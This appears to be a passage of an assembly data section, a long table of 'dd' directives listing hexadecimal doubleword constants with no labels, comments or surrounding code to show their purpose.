		dd 5E062B84h, 26399D44h, 0E159B545h, 14F97AF9h,	61005DBCh
		dd 1248C48Ah, 3B819EF3h, 249AD1E6h, 56535663h, 0D96D70h
		dd 1C06EC09h, 8D297425h, 0EA0E595Ah, 0AB99C931h, 0B6DA4E56h
		dd 2B09D4ACh, 82B93E09h, 0B1F25B2h, 5309D546h, 55EF28Bh
		dd 6C8829A4h, 0BD230DD3h, 69100275h, 74DAD3D6h,	0A209D784h
		dd 10E91624h, 9A24D7CEh, 1612A436h, 21D5CFF8h, 5CE1AC1Dh
		dd 37001C46h, 0BF977D0Fh, 87242E79h, 0FDB715FCh, 0F7759D62h
		dd 0EE166072h, 0C0CDADE9h, 0FDF0B026h, 6F25D3D4h, 0DEE51062h
		dd 76F601B5h, 40732A63h, 0C5A9FCA7h, 853EBD0Bh,	41EF69E3h
		dd 848EC514h, 838EC0B3h, 22D94BDh, 11F0A4E8h, 94040349h
		dd 50E90525h, 3101FBB2h, 0C7017BA5h, 0D51E4685h, 8B0960E0h
		dd 521A198Dh, 3B335527h, 428CBC6Fh, 0DEB7701Dh,	0F000F49Fh
		dd 95796477h, 90FCFF3Ah, 0CFBC824Ah, 0D6CA6028h, 0E3044262h
		dd 1B9BF66h, 21317A81h,	2DB4A305h, 0E58B88F5h, 4AEE00DEh
		dd 29FBF184h, 0EF9C959Dh, 0A592112Dh, 0E84FE96Eh, 0B6722720h
		dd 121BBE84h, 6A2B59DDh, 35FA0060h, 825E818h, 0DEEE5D72h
		dd 0D9605087h, 81FDC8E9h, 0FE51BF70h, 0EC6FE17Fh, 8B598152h
		dd 806561C3h, 1D88FB0Eh, 2F6977C1h, 0B3316D0h, 6617E597h
		dd 0E91B3721h, 6AD9D60Fh, 2C29E188h, 7B0417ABh,	12630B15h
		dd 0F223024Ch, 78FADBB0h, 0D62DED1Bh, 9627DF63h, 2A3950DDh
		dd 0E57D2BE1h, 0E6E82309h, 9392B770h, 0D70D300Eh, 0CE0ED4C2h
		dd 6FA34AB7h, 9A060009h, 1A3FD52Dh, 2E953199h, 219D68E0h
		dd 71E11641h, 2C0D108Bh, 1C118210h, 0F74821BCh,	43C43Ah
		dd 92A26EB2h, 0C9784F04h, 3DA3073Ch, 0B8705B5h,	0B893F5BDh
		dd 7682BC5Bh, 0B261050Fh, 0EFDF4041h, 0FE61224h, 0E5FABE01h
		dd 116C4C84h, 1B21A862h, 8BEEE109h, 95D82BCCh, 580141B7h
		dd 334AA798h, 0F21D2A78h, 14376750h, 89229500h,	0A42AD5BDh
		dd 1FC12F96h, 0A7BE4838h, 324BC27Fh, 8FB9F874h,	55014BA8h
		dd 0ECC6163Ch, 0B97BB0F5h, 0F5B858h, 2FA464B4h,	0D9086294h
		dd 995EEA90h, 24CE6C26h, 480B230Dh, 0D11ED658h,	9C85CC71h
		dd 4FE58F28h, 0F0429FAh, 0F5705906h, 0B33546C2h, 0BA4978F7h
		dd 0C1C42AABh, 781A7504h, 0E9F5853Bh, 597E1100h, 4816AC8Ah
		dd 0BD8230B6h, 0B9DA2CA9h, 7173797h, 4623AC8Dh,	6920D8EAh
		dd 0B1289810h, 81581714h, 6D07FBC8h, 0B0B422EDh, 24F35B5Fh
		dd 0C5C9C1C7h, 9DA1052Ah, 9B2E7E69h, 0FBA1FC2Ah, 854DCDD1h
		dd 2639D68Ch, 0ED7A9DB1h, 108AC8Fh, 0AE8E35E8h,	3595207Dh
		dd 0B4A90799h, 0C6881622h, 7A015A11h, 9FBB07DBh, 646B6748h
		dd 2C049A92h, 527953D9h, 1D11EE97h, 6D910580h, 0B4021433h
		dd 0F8680EA5h, 0DCB0565Bh, 0E2F6D900h, 0EA853F71h, 2BA33DEBh
		dd 87079BCEh, 8BE0DE28h, 16338E13h, 0CA3275BDh,	16AF5EADh
		dd 80E39B77h, 6661E140h, 92110512h, 0B670DC91h,	3316A2B3h
		dd 2B3C5FFh, 1B30E7D1h,	0B8010051h, 0D1C04B6Bh,	40D99520h
		dd 2CC35E21h, 0E7D08CDFh, 0C0C0CDF9h, 2C6AF582h, 0AC612700h
		dd 14AE8B7h, 0D99D4C85h, 0EFB38596h, 19B19AA6h,	316E202Ch
		dd 4C0F1B40h, 849E2C8Dh, 0A51999B5h, 0F35E2B7Ah, 388A6385h
		dd 0B044B6EBh, 0E6E4570Bh, 62656362h, 0C9021639h, 0B19501C0h
		dd 669EDB2Dh, 6BBE4F37h, 0B09213DCh, 0F24E0B58h, 0BBB3B366h
		dd 64799D8Bh, 6C5B2C1Eh, 81B2C986h, 316B59DFh, 4090F156h
		dd 59E1F6FBh, 7F9ADA0h,	9F605280h, 61BB399Bh, 3E335E89h
		dd 0EDF81D22h, 0E649E49Bh, 69F6E003h, 33D30278h, 137B5622h
		dd 0EF47567Eh, 0B06A4161h, 1A435A80h, 1C31F989h, 95295E05h
		dd 0A6EE14FDh, 0FEBDF050h, 0CC7F0133h, 9FA65F28h, 26FB208Dh
		dd 493F5E8Ah, 7C50C340h, 16B62A00h, 0EDAC77C8h,	4FC2F51h
		dd 1766A0D5h, 27C633h, 36E8B32Bh, 9A0FDEB5h, 4F9F6C58h
		dd 6968AD97h, 24161F0h,	662EDE14h, 13001723h, 0F33A4B8h
		dd 0B256BF8Bh, 503811E0h, 3CCE000Bh, 9AEE1CA1h,	2248C785h
		dd 7CE60214h, 0D8FAE965h, 2A32EB5Ch, 46780601h,	82601EBFh
		dd 0B168D82Ah, 0E5DF58B9h, 8DF00A66h, 3400F6D3h, 5B9C1B5Ch
		dd 0F621CBA5h, 3B084B95h, 11823AEh, 7FAE60FFh, 10A138D1h
		dd 0F081449h, 6680048Eh, 612ECABFh, 0EFD00681h,	7C65AAADh
		dd 2E152534h, 4DB8D0BDh, 82F976BDh, 9B2ABBD8h, 1A7A2560h
		dd 6E8B3A29h, 0D81814F9h, 83F4019Dh, 413001E1h,	9B21D720h
		dd 0A4EE8052h, 0DAC86F19h, 9DF3FC9Ch, 717195D0h, 66490AC8h
		dd 4653DACAh, 379F2B2Ch, 67D5042Ch, 7AC6C259h, 6BE89A42h
		dd 403F74BAh, 606112CFh, 0D7812C9Bh, 0C6C1EF91h, 0D2A06746h
		dd 848224E9h, 0E1A8350Ah, 0FBBCF349h, 852C1727h, 2A091C20h
		dd 0D85353E1h, 0A00E1FBh, 0F7AE2835h, 2D297A13h, 0B4A8158Dh
		dd 1A467E5Ah, 922FB200h, 7240B8EFh, 0A88D8925h,	2164EAC4h
		dd 0DB06707Eh, 79BB1D4Eh, 938884B0h, 3FF4787Bh,	979CAE2Ch
		dd 564B4918h, 585854FCh, 84B28B0Ah, 9724046Ch, 80052099h
		dd 93838CE3h, 9ED5301h,	0C628C948h, 14D121DCh, 0EC1818F1h
		dd 0DDD55B0Dh, 0AF3D4C3Ah
		dd 1104292Ch, 0EF656B2Bh, 0A15E40B7h, 0CCE32EAEh, 0C02485DDh
		dd 0C10A694Bh, 0D1EEE123h, 0FCAB025Ah, 4BA48B57h, 8195E833h
		dd 7662BB66h, 13061E52h, 8B829CE8h, 5BA3DF51h, 31EEC007h
		dd 54EF26Bh, 61858B96h,	0A4C17609h, 4D44DA14h, 0FED129Dh
		dd 0F000C97Bh, 8D012A15h, 0B083111Dh, 91222DBDh, 0A72F2ECFh
		dd 35046FB7h, 0F992795Eh, 3B2B0A29h, 0B26B10CAh, 80296041h
		dd 0F90085B8h, 68C71B45h, 2C239B6Bh, 120D17B2h,	4BD03DF7h
		dd 0C71988A9h, 7FB8B11Ch, 4D8BCDFBh, 0F0C40089h, 35A92A38h
		dd 0DD7EC226h, 6B2E01F4h, 958BAFB1h, 0FC8F6475h, 0B32690h
		dd 18FC8778h, 0ACC02062h, 0DB12D8D0h, 0E09D85C7h, 1EC0555Bh
		dd 0C9CA3FF0h, 0B7612125h, 761C0274h, 0F672880Fh, 7520604Ah
		dd 72B0521h, 73EABD59h,	0CC9DC080h, 6C484AC6h, 13891023h
		dd 0B70F6101h, 0D807EBC0h, 7BE1E99Dh, 0D1E8C9BDh, 331276E8h
		dd 250A3177h, 0FEDE90DFh, 8A0738EAh, 0EBB23F94h, 4BEBC100h
		dd 2F0E0910h, 1AC53C1Eh, 0A4ACDA00h, 71D2D41Ch,	7E4705Ch
		dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h
		dd 0DB6743DFh, 13E85A6h, 0E6412800h, 727DD427h,	5DE9C30Ah
		dd 0F6B2C20Dh, 65D1CFh,	5F77219Bh, 617EA33Fh, 0E1559D24h
		dd 14B957AFh, 0EE8D0843h, 1A61822Eh, 35A87AC9h,	8856BF70h
		dd 0EBA60AD6h, 264B830Fh, 327D08F4h, 0C2CBB230h, 9D7AC204h
		dd 5F722779h, 55CA8A2Fh, 0F071D7A0h, 9B076688h,	3B41A81Ch
		dd 7AFA4840h, 0A3820B25h, 4FD5B26Fh, 0C813902Bh, 9D8D82D0h
		dd 53F5A6BFh, 50114425h, 0EA0C881Ah, 25902C6Eh,	6F41AC4Fh
		dd 0B5D089F4h, 292973E5h, 187227Dh, 36F559BAh, 4D0406Eh
		dd 0B797E812h, 2D9342h,	12C6E4CEh, 7D2FD0B1h, 1E207FE2h
		dd 988A8D6Ah, 0CC8F8912h, 94009DE8h, 4D2DC2C6h,	0F50BCE6Bh
		dd 0E2EDB550h, 40505EDBh, 3AA94146h, 0F2F09B18h, 8011C1A8h
		dd 9954BD89h, 559290EEh, 5250C61Dh, 0F057B840h,	58BF310Fh
		dd 6F030395h, 5061585Ah, 151682D9h, 85A9F4BFh, 5DC7400h
		dd 2CB156B8h, 0C0DF0714h, 83669025h, 0A5F5A99h,	0B5A904ABh
		dd 0B258B332h, 495E301Dh, 28DFAC00h, 19AF0878h,	4DCEA090h
		dd 8C0F8013h, 33176D91h, 8BE1D3EBh, 85894F05h, 0F6B40D29h
		dd 0FD89AAECh, 925874FBh, 8910BD35h, 0AD036AFCh, 0B35EAF97h
		dd 931EE02Dh, 66323BE1h, 7DC56980h, 22B97F05h, 546D6B0Ch
		dd 6E08995Bh, 12088EFCh, 14C42Fh, 9DE03B35h, 95C45D7Eh
		dd 15A1A700h, 24BA5261h, 0A2F097Ah, 91041F13h, 218124E1h
		dd 0B7020123h, 9396D1F7h, 0E059F647h, 769A5D8Ch, 465CBDD2h
		dd 97738F83h, 5B39E825h, 0F22A0E60h, 0ABB75977h, 0F8F3B393h
		dd 679A7h, 4FB07F47h, 2B019E74h, 0CF1D852Ch, 9D335E82h
		dd 2177045h, 0B0D66861h, 0D2F5C7F2h, 3C4801BEh,	0A224E29Bh
		dd 7C62C020h, 0EDC35C00h, 828322AEh, 81C11861h,	1368BD34h
		dd 0DC01D3EEh, 0FF45C28Ah, 682CF5B5h, 1DBC6159h, 91846A04h
		dd 0E1F2B3DEh, 72CF8000h, 36AF3F7Bh, 0AED53200h, 20F3DCDAh
		dd 13BB906Bh, 0DBE76D30h, 71A1CB01h, 0C9CB00A6h, 0E4896FC0h
		dd 0FFB6150Bh, 70DF7BD0h, 0DE099EFBh, 0A65E2A2h, 0DD4B1E3Dh
		dd 0F5F98AE6h, 3004052Eh, 0B1330C91h, 1014274Ch, 660408C9h
		dd 9D9F0AB9h, 0D9FE4038h, 4E13A568h, 3411B33Ah,	44F6026Ah
		dd 841E4F7Ah, 3DC4CCDDh, 0A8808BFCh, 7459C083h,	32F83000h
		dd 0B0B28557h, 0C6DB07B8h, 4B3F9C1Fh, 8FD47798h, 6846100h
		dd 0BBE8DE64h, 440049Ah, 0C55B0185h, 47114064h,	0BF3935FBh
		dd 9C95CF09h, 0B2103048h, 4056B499h, 5FA454CAh,	97E70252h
		dd 0D893B7DAh, 0E1A0FCF3h, 534CBB66h, 0B28529E0h, 0C98D0A3Bh
		dd 0F942BE0Dh, 10DE190Fh, 2BD265B9h, 16B96B72h,	8098DB56h
		dd 2F23384Ah, 824B095Dh, 0FF518659h, 0E5C28181h, 0E8EDE46Fh
		dd 39047839h, 0C2D41F6Dh, 0EB9850EFh, 4980414h,	68393809h
		dd 1EC0937Dh, 38254BECh, 0DF439552h, 0E2207400h, 2F6DD56Bh
		dd 0BC1E4700h, 94495640h, 0E2F84958h, 0FB8C16B8h, 0B850BCF8h
		dd 14AD20ACh, 26EC5A56h, 920B1B66h, 0A3CDF71Bh,	0CFB635E0h
		dd 0DEB7280Fh, 2DF84EBh, 3E21F781h, 0D9B04CC5h,	9527896Ch
		dd 18C9E291h, 0FE7083AFh, 665005DBh, 2080CEBFh,	0AA99B9A4h
		dd 0A55A7728h, 0A753B629h, 0B8545812h, 235E17C6h, 1BA6C9BFh
		dd 0B79FC49Ah, 0F5B913D3h, 40FBE6EFh, 8C51AAE9h, 0C08A5B97h
		dd 8E179D7Bh, 0E9BE0C78h, 0F06CD08Bh, 0B79DCDB0h, 89038147h
		dd 1369B5h, 9CA5BD8Bh, 4049391h, 72D715Ah, 74F26C68h, 50B2821Eh
		dd 0DB116B36h, 9B164BADh, 8E2A8063h, 0B83E12D5h, 21930B6h
		dd 0CC760B6Dh, 0D681FA2Eh, 34DFF51Fh, 120C622Dh, 0DA95C359h
		dd 0FD8A0212h, 50FC8984h, 35DE30F0h, 13DBD6B9h,	4606F28h
		dd 214411Ah, 0C0BCC180h, 1C25FA5h, 43B97048h, 0B355E722h
		dd 0E64918E1h, 8FD2076h, 0CF5C5064h, 155325A0h,	0FAED8D01h
		dd 0B6A5F0Bh, 0F37005D3h, 35A724D9h, 0C6C91A1Ch, 9FFD3757h
		dd 0BC850123h, 0CCBB5191h, 7F2F2BAFh, 0A1A5F55Bh, 88C1009Eh
		dd 9B8F2EB1h, 10F6F748h, 5B172391h, 0F1A98890h,	3A747B00h
		dd 1D92E5B8h, 90502897h, 175D2989h, 4B8E26C4h, 0E15FD0h
		dd 0C6D3B58Dh, 518A0FCBh, 0D1388798h, 4456A750h, 48B100C2h
		dd 7DE47179h, 8700C32Eh, 868A5BBBh, 4C5902C0h, 0CA40285Ah
		dd 92CF1F81h, 903C87F8h, 4502860Fh, 507CCBF2h, 94D3F57Ch
		dd 3B91424h, 94010DB8h,	5A60AB08h, 0B8D0B0EFh, 1A6A078Dh
		dd 92BA6627h, 0E940612Ch, 3E7AB6BBh, 8DBF3A00h,	8B6850A1h
		dd 3A4691B5h, 859EC7B8h, 19E627F4h, 0DA95033Ch,	7E808602h
		dd 6E94D820h, 86CAAB52h, 0CB8B016Eh, 0ED6017B2h, 8D21408Fh
		dd 0C09B2046h, 4D0C078h, 159D2992h, 0F8F6A418h,	7DBA4D2h
		dd 16B3D9C1h, 80B02C23h, 2C033342h, 86EA27EEh, 101CA61h
		dd 0FDC256E9h, 5C7819FBh, 77DC00FEh, 0DDE58530h, 234F514Ah
		dd 0BA21DEC9h, 0A5401FC4h, 601CC466h, 1D7C2C0h,	0DCA9CBE3h
		dd 0E08BCF28h, 30BA3880h, 9202D05Bh, 0A225952Bh, 0DC61E9A1h
		dd 612F6E6h, 0A2164D5Ch, 934804F4h, 2DD785Fh, 0DC605D02h
		dd 562A7AB1h, 97D00521h, 3DB2FE7Dh, 0B896E76h, 0BD0B6101h
		dd 0EAD056D5h, 28485C48h, 812F1663h, 11B07518h,	3800096Dh
		dd 0DA368798h, 2CE3DD14h, 820C8C9h, 5F192C41h, 3C022F4Eh
		dd 48D3B710h, 0CADF3A3Bh, 0A5AB8483h, 220936B7h, 0BF910268h
		dd 53961FAh, 48DABA10h,	612569F6h, 0B618F040h, 8BD9CCCh
		dd 0A032E812h, 0EF292574h, 0DC26411Ah, 0C9FB6977h, 17F32C50h
		dd 30E68870h, 0EF0838E3h, 6BF7E00h, 0AAD3A1BDh,	0BAF50952h
		dd 73CA038Dh, 4DE02D4h,	7879D19Eh, 5BEA8743h, 92C673E1h
		dd 4303F522h, 4A1A4DBDh, 86D423DDh, 10AFC9B8h, 99295100h
		dd 1C7F03F4h, 34392A6Ch, 0DA810282h, 6AFB1335h,	0F709CE2h
		dd 83033797h, 728E319Bh, 0BD19B2E8h, 294D2A0Bh,	0ACFD7195h
		dd 0D8862373h, 8F01B20Ah, 5BB7D9FFh, 326EC00Bh,	9B7E6126h
		dd 174D04DCh, 0D8DBD580h, 0F8801EDh, 3E918Dh, 0A7A69DB9h
		dd 656CE95Fh, 41C1E215h, 1073682Ah, 81092091h, 87F31CC6h
		dd 0FA6B1ED8h, 0B570013Dh, 0FCCFE965h, 0B17EC6FFh, 0BF8000DCh
		dd 0F90882E8h, 0E0094AE2h, 0DABD29F5h, 79680171h, 8B1F5CAEh
		dd 0E59B75FBh
		dd 0B712AF2Eh, 80E30514h, 0E6DDD41Eh, 8B71E007h, 9A4E90D3h
		dd 0DE59BEC1h, 0CF29102h, 421BDF80h, 4A515244h,	0D328D29h
		dd 37DB2AFFh, 0E8908682h, 180065DAh, 0AEBF9649h, 844D1Ch
		dd 3DAC67E2h, 0CF5E938Dh, 0BB09E498h, 405B1ADEh, 0B890F945h
		dd 0DC2D4DDFh, 0DAB6745Ah, 47E3C0ADh, 0FE395C32h, 0A2220187h
		dd 0BD8D017Eh, 5090001Eh, 0CEDCBF52h, 61E3B561h, 5C5A31E4h
		dd 0B102EF58h, 0F8905FE5h, 6CF9F561h, 88EFD7AEh, 0BD2931F1h
		dd 9F282D15h, 0F33C1945h, 25D5F380h, 72006013h,	0DCB955F6h
		dd 1281B98h, 0C641AD04h, 54BAF195h, 1974C242h, 8A138510h
		dd 11ADAFFh, 2EFB4599h,	3AABFDF1h, 265B378Ch, 8946090h
		dd 61042701h, 544010E8h, 298F0C97h, 2A227F00h, 5548FD3Ch
		dd 0E265159Bh, 5F24CCBEh, 1DA23E1Bh, 15458511h,	464DC027h
		dd 958BF3C0h, 49106285h, 15EA8DBDh, 26D025F3h, 25448DA7h
		dd 0E2061F75h, 35A951A0h, 0D43795h, 9589BD78h, 0FCBF1B29h
		dd 18467C25h, 41EE0A1Eh, 9D29253Bh, 589A50B9h, 314EBD01h
		dd 0DE576D09h, 3AF14011h, 7005D93h, 0C34DF577h,	84860FECh
		dd 0C2595F0Eh, 96F51F08h, 0E812CDBh, 0FC7FDE25h, 5D25EEC9h
		dd 7B69074h, 78450144h,	57F7023Fh, 55ED7B30h, 0AE5B4F00h
		dd 0C5E79AC0h, 0F1D4EB00h, 0A1CBDBABh, 8C710991h, 0D4E1F873h
		dd 6F003527h, 6F0BBE6Eh, 1D82982Dh, 430828BDh, 4F53F380h
		dd 0B5EE51h, 686FB986h,	8DFC2843h, 63F17C01h, 58F78BCFh
		dd 0B475534h, 0BDB589DBh, 810B9A7Ah, 686E8DC0h,	811F1D8Ch
		dd 0CB8C3B68h, 5F2440EDh, 0A0B57890h, 734FF7Dh,	0EA810566h
		dd 0C359B2C9h, 0F1C0F6F6h, 0EB3F9E58h, 8ACE034Fh, 0E063AE51h
		dd 3E3C7DC1h, 0C7F026Dh, 36609214h, 0AA123A30h,	56C83E5Ah
		dd 2C90010Bh, 0C3F21EE5h, 0F6688E51h, 48F831Dh,	0BDBAC038h
		dd 83E0C7AFh, 0AF60A4EFh, 3D6EB220h, 12A7CC7h, 5961AA80h
		dd 0DCC1C05Bh, 0F8C366EBh, 9F9254FFh, 1A478449h, 737ABE40h
		dd 0E93036C1h, 97D01532h, 7B30FF8h, 0E7E0DF7Dh,	321EA544h
		dd 0C8310D09h, 965C5E60h, 6177F49Dh, 5E6CE937h,	14A3A120h
		dd 0A9041D64h, 81E84027h, 224FCE1Ch, 0B5419A00h, 6F05B8Fh
		dd 71150B62h, 11DE73A9h, 1C23F400h, 7AE68Dh, 6476BA1Fh
		dd 1AFF0A9Ah, 9BE53D1Dh, 0F13A23C0h, 7A06F3CAh,	7ED89874h
		dd 0D11C656h, 2B0D19F0h, 58FAB5EFh, 30E10E8h, 2DA24B85h
		dd 31DEF703h, 777EE000h, 85A3E4B0h, 2CB5314Dh, 83096F19h
		dd 73E1F348h, 9B3000F5h, 0F0D3873Eh, 8D0CB86Ch,	0A8EA6AF6h
		dd 123301E4h, 4204861h,	3FC9F0FBh, 7A9A9802h, 806E2477h
		dd 0ED395896h, 0B18C6019h, 7F7B5FDh, 0CD20A362h, 240E0F6Fh
		dd 228A7863h, 18198FB8h, 0D9C0607Ch, 99B787F3h,	11376098h
		dd 0CFA1FD75h, 4E1B367Eh, 0C6190740h, 17280008h, 927324B4h
		dd 50D9C316h, 0EAFBE1h,	0DDAEF6C4h, 1858C8C0h, 67BD8F0h
		dd 0AC6D3DCh, 620318CEh, 381F176Dh, 8BA3E0EDh, 6E08CFF3h
		dd 0B855989Ch, 8505A48Fh, 0D2A061Dh, 7CD3D020h,	78BF01B5h
		dd 7099582Bh, 1E08995Bh, 0B5CC3121h, 4A110050h,	3B06C67h
		dd 99311DC9h, 6190C90Eh, 0AA1080CBh, 87FC063Bh,	981E46CEh
		dd 96BCE54Ah, 0E0005239h, 2AF39A97h, 2203B56Bh,	0C85DB38Fh
		dd 78483F1Ah, 780662Ah,	6E9B72FFh, 0F786A099h, 92F2BD2Ch
		dd 5907E52h, 25761E89h,	46AA203Ch, 24F86479h, 3D607E62h
		dd 7CA45B78h, 33ED44h, 8DD5B576h, 0C82BFFB0h, 5E196707h
		dd 6C40AC78h, 0F1CE8F82h, 8C003025h, 22B77428h,	0E607079Bh
		dd 8D262411h, 85EFF990h, 3108CC37h, 2A004421h, 0D273A024h
		dd 3C4DD7Bh, 0DC138092h, 0A91FE19Bh, 80BE3F1Eh,	0A3E024F9h
		dd 0BD312F19h, 322858F8h, 7C0CEC54h, 30EF539Ch,	6AFAEECEh
		dd 8801877h, 828D272h, 0E4609CFEh, 0C729C559h, 3C6E3111h
		dd 982C6630h, 0A721FD08h, 1C77221h, 0B75B843Bh,	0A304710Dh
		dd 7E78A4B8h, 0AA2604DFh, 8010181Dh, 0B285B9C4h, 5724A8F4h
		dd 5E085450h, 17E3E43h,	702F4BFAh, 421B2D0Dh, 7330293Ch
		dd 78B011B5h, 821F8853h, 23B54B2Eh, 84982C60h, 0A889050h
		dd 7023CD42h, 44C72D0Eh, 0F7625C6Eh, 0C725A320h, 0B09A0EA8h
		dd 0D2E09985h, 0BD0D51F6h, 8E400448h, 1E3C902Eh, 0F4AE5E15h
		dd 0B0540600h, 91FB73B2h, 1D1ACF3Dh, 6D18CC59h,	0A83921h
		dd 0B0A741B2h, 0FE0E44B4h, 0FB033C13h, 0F5968427h, 0E01C00D9h
		dd 77A656EBh, 0C105C57Ch, 1B980C51h, 64E700C3h,	635C8030h
		dd 0FB7188B2h, 67448C81h, 0B2AA0537h, 0D1DBBh, 0B5FBFE34h
		dd 64005919h, 21574CB6h, 7E425D53h, 5E5988h, 8EF8BE31h
		dd 506100C3h, 1CAE3080h, 0BD4AFD89h, 6B4304Ch, 0CB4E6A78h
		dd 1AFB1C28h, 0D81830E5h, 0E50299h, 0B2F1AF9Ch,	9E34414h
		dd 48491E01h, 23113AF5h, 9039F8h, 0FB463CD4h, 404CB858h
		dd 400C7B0h, 7310E385h,	6EF9627Dh, 0CE457932h, 22CC22C2h
		dd 0FD02D732h, 8CB1B1FBh, 0B435106Fh, 1FF000B2h, 6B55BC68h
		dd 71075C93h, 0E19CCE1Bh, 0AE580169h, 30829A84h, 3D254AFBh
		dd 0C78E3C82h, 0BD182311h, 0FB7EB21Ah, 6B3C2470h, 0B2B53440h
		dd 3E034948h, 0D46ACAE3h, 226EB37Ch, 7D08CC71h,	8F1B5952h
		dd 0B0F43E6Ah, 1436F184h, 1827239Ch, 23785E71h,	0E4119C93h
		dd 0B5492C03h, 0F9A00436h, 0D1CA882h, 2654E780h, 343910E8h
		dd 9C258803h, 3800EC97h, 0FACD7A87h, 0A130711Ah, 7818263Ch
		dd 0ACBBB539h, 3571344Bh, 9BB5E4h, 0A81B64A9h, 0D63A91C0h
		dd 8E11D0CBh, 5E28996Dh, 58608CE5h, 0E3AA249Ah,	67467CB8h
		dd 0B28DD13h, 638AAEE4h, 6F467C9Ch, 90EDAE01h, 0E0EF0514h
		dd 0CE0420E9h, 7F4A7D6Ch, 0FD62C4C8h, 48C7508h,	6E2AC728h
		dd 20FE6234h, 24C720A6h, 0F130DE28h, 9298D90Dh,	38308077h
		dd 2C048CB4h, 2F8D2B24h, 47200B62h, 5222425h, 7B42865Eh
		dd 95D804D0h, 1F233E15h, 0E07A3D1Fh, 7A6C9761h,	0C4B1007Bh
		dd 0B8651946h, 0D203AABFh, 16343E09h, 89C590F3h, 0F6F20A13h
		dd 8FA47B82h, 59386D61h, 9B2CC97Ah, 6C8268ABh, 13419A45h
		dd 810FE18Ah, 9948AE8Ah, 54E88705h, 100C1436h, 344CF97Eh
		dd 40542864h, 0E97552FDh, 0C5428897h, 75BE2380h, 55BB1611h
		dd 23E43AF0h, 0C0AA0034h, 7387B60Ah, 0A8576119h, 2B18B548h
		dd 8D21247Bh, 0FE46C737h, 2D9CBB20h, 88ABEE5Bh,	0B96D4CD8h
		dd 0B48FDD12h, 0C04B2008h, 6E10C726h, 58800443h, 82F1C75Fh
		dd 69C53D00h, 3A6A7B56h, 0B3F8C3F7h, 0A0A8EC0Dh, 1DE6BE87h
		dd 8020E524h, 7DB261CFh, 5C63A1FBh, 0B2B63380h,	780019F2h
		dd 746BB4C8h, 5119CCBh,	5D1564E6h, 82C0803Dh, 7602E02Fh
		dd 33791BFDh, 0FC111D58h, 95CC8B80h, 75EEC88Ah,	0C1E85F50h
		dd 860B24B2h, 3DF64A89h, 0BB8A80C0h, 0C4CE85EAh, 31187F0h
		dd 0BC2DE5FCh, 0CD183C54h, 136AFF60h, 3B97E289h, 11C23B0h
		dd 6D8D9BF1h, 0D60C410Eh, 0C3EDF04Dh, 57276201h, 551ED378h
		dd 6085E8h, 70BD5DF8h, 0CA6A7AA6h, 0FB127092h, 3408EFA3h
		dd 242EC0AAh, 1F468D25h, 590F0A22h, 81F62427h, 5EC34389h
		dd 4A9D2D60h, 8F280765h, 0B1E7F4C6h, 52C5F02Ch,	6EBC19C3h
		dd 0B37023EAh, 2A242D01h, 7428278Dh, 242640B0h,	0C9138h
		dd 0BA802B54h, 223E9B0Eh, 6800E29Ch, 61A87F60h,	10D78ACh
		dd 48823C98h, 20FA7C9Ch
		dd 1A503270h, 48C21ECh,	0FB7CB2BFh, 22506289h, 0F460B73Ah
		dd 0F877A6D9h, 2A33AD2Ch, 0AF661901h, 0E0882CC8h, 0D82975BDh
		dd 0EB180BD1h, 4A17737Dh, 0BC6F3979h, 6680A03Dh, 0FE2C4EA1h
		dd 0B8068531h, 3523B1B3h, 0C42C85F9h, 0B9EE606Bh, 281403FFh
		dd 574E0C8h, 0FE8D4109h, 0C01CC222h, 80402D64h,	922CE681h
		dd 0F14F54F4h, 22C72B87h, 18592C6Eh, 0C723A560h, 7B20999h
		dd 1411AF65h, 81018A8h,	0F8D2724h, 5B4432C4h, 42B4C029h
		dd 0EE74E141h, 8A43FA06h, 0D960ADh, 5C2C0B88h, 500C3B5Ah
		dd 61BE4600h, 1CE88E4Ch, 0B835488Dh, 0E749D602h, 0D4415FDBh
		dd 7A05DAB9h, 59FB7882h, 18E47960h, 53100C3h, 0CCA061F4h
		dd 1F61FE8Ch, 7980F671h, 700A1B9h, 8C3C6982h, 0D9C10298h
		dd 51C76561h, 0CDB0F13Fh, 0EB8AFCB9h, 0EDF2B8A0h, 2C456E80h
		dd 80746C92h, 3A47506Dh, 783987BFh, 77C85041h, 0C72A048Ch
		dd 0B2246E2Ch, 22A4C058h, 639A7C7h, 0ECE887Eh, 0D4B068D8h
		dd 6AFED104h, 0F6023605h, 0D88A8C93h, 0E0E20D0Ch, 253C4C90h
		dd 6DBB4C8Ch, 62A9FB12h, 36216E3Ch, 0AC30B2B3h,	7E370739h
		dd 9278DB0Fh, 9C64F8CEh, 90EEC920h, 617AF850h, 98BE70E9h
		dd 36698319h, 0BFB3FB1Ch, 81DA813Eh, 7833F7C6h,	7176AE18h
		dd 0D0178B1Ch, 0B9056116h, 0A0025D1Eh, 0D03B9B73h, 449C8734h
		dd 44E360F1h, 270502BDh, 61AEAB0Bh, 5A6EE8E0h, 1D6C8B82h
		dd 80F211E4h, 891AC339h, 0A7340537h, 834ECE0Dh,	9EB3A090h
		dd 39D45856h, 22E96B03h, 85598684h, 10C80D40h, 9D24037Eh
		dd 2A4E604Fh, 6AD62810h, 0A82B7C1Ah, 3411C49Dh,	127B7E81h
		dd 1E4390Dh, 0A32D5062h, 0C830DE15h, 607A3045h,	0B6E6D368h
		dd 2409289Ah, 3023061Ah, 11B57DB0h, 884378BEh, 753080E8h
		dd 0A43BFDB5h, 97447A38h, 743AB689h, 0CD06E923h, 59F60Eh
		dd 8AA74072h, 5B604AA5h, 7324A600h, 0FD290B45h,	2E1A4F25h
		dd 0E42328h, 93FAABE8h,	2B0B5CC1h, 2D509C5h, 0E47A98h
		dd 69664564h, 5A070680h, 0E85C72EEh, 9EB06C00h,	8460944Bh
		dd 385D1Ah, 4E25B274h, 0F119058Eh, 0A77E2B34h, 876920A0h
		dd 7A848820h, 0E47C65C9h, 28026050h, 0E2FC02B7h, 4576C4ABh
		dd 8F04F070h, 0CA6D62B3h, 0C68D3490h, 80F5506Eh, 0F97A00B5h
		dd 3CF99FAh, 6091E3F6h,	5028882Eh, 0A49357F6h, 0EA71F421h
		dd 84002A18h, 30FD4B21h, 21A732Bh, 0F6818B6Ch, 1063D50Ch
		dd 50326810h, 9AB38700h, 86BF8813h, 28AF632Ch, 0B5E00A40h
		dd 0F71B0072h, 758F4A38h, 0B9001ED6h, 0DF9FB110h, 168247h
		dd 9813B52Dh, 3BF72F77h, 1E12CB06h, 1250089Fh, 61B67429h
		dd 0EC242AB0h, 1CB93F8Dh, 242345C0h, 7B46064Eh,	190D98B9h
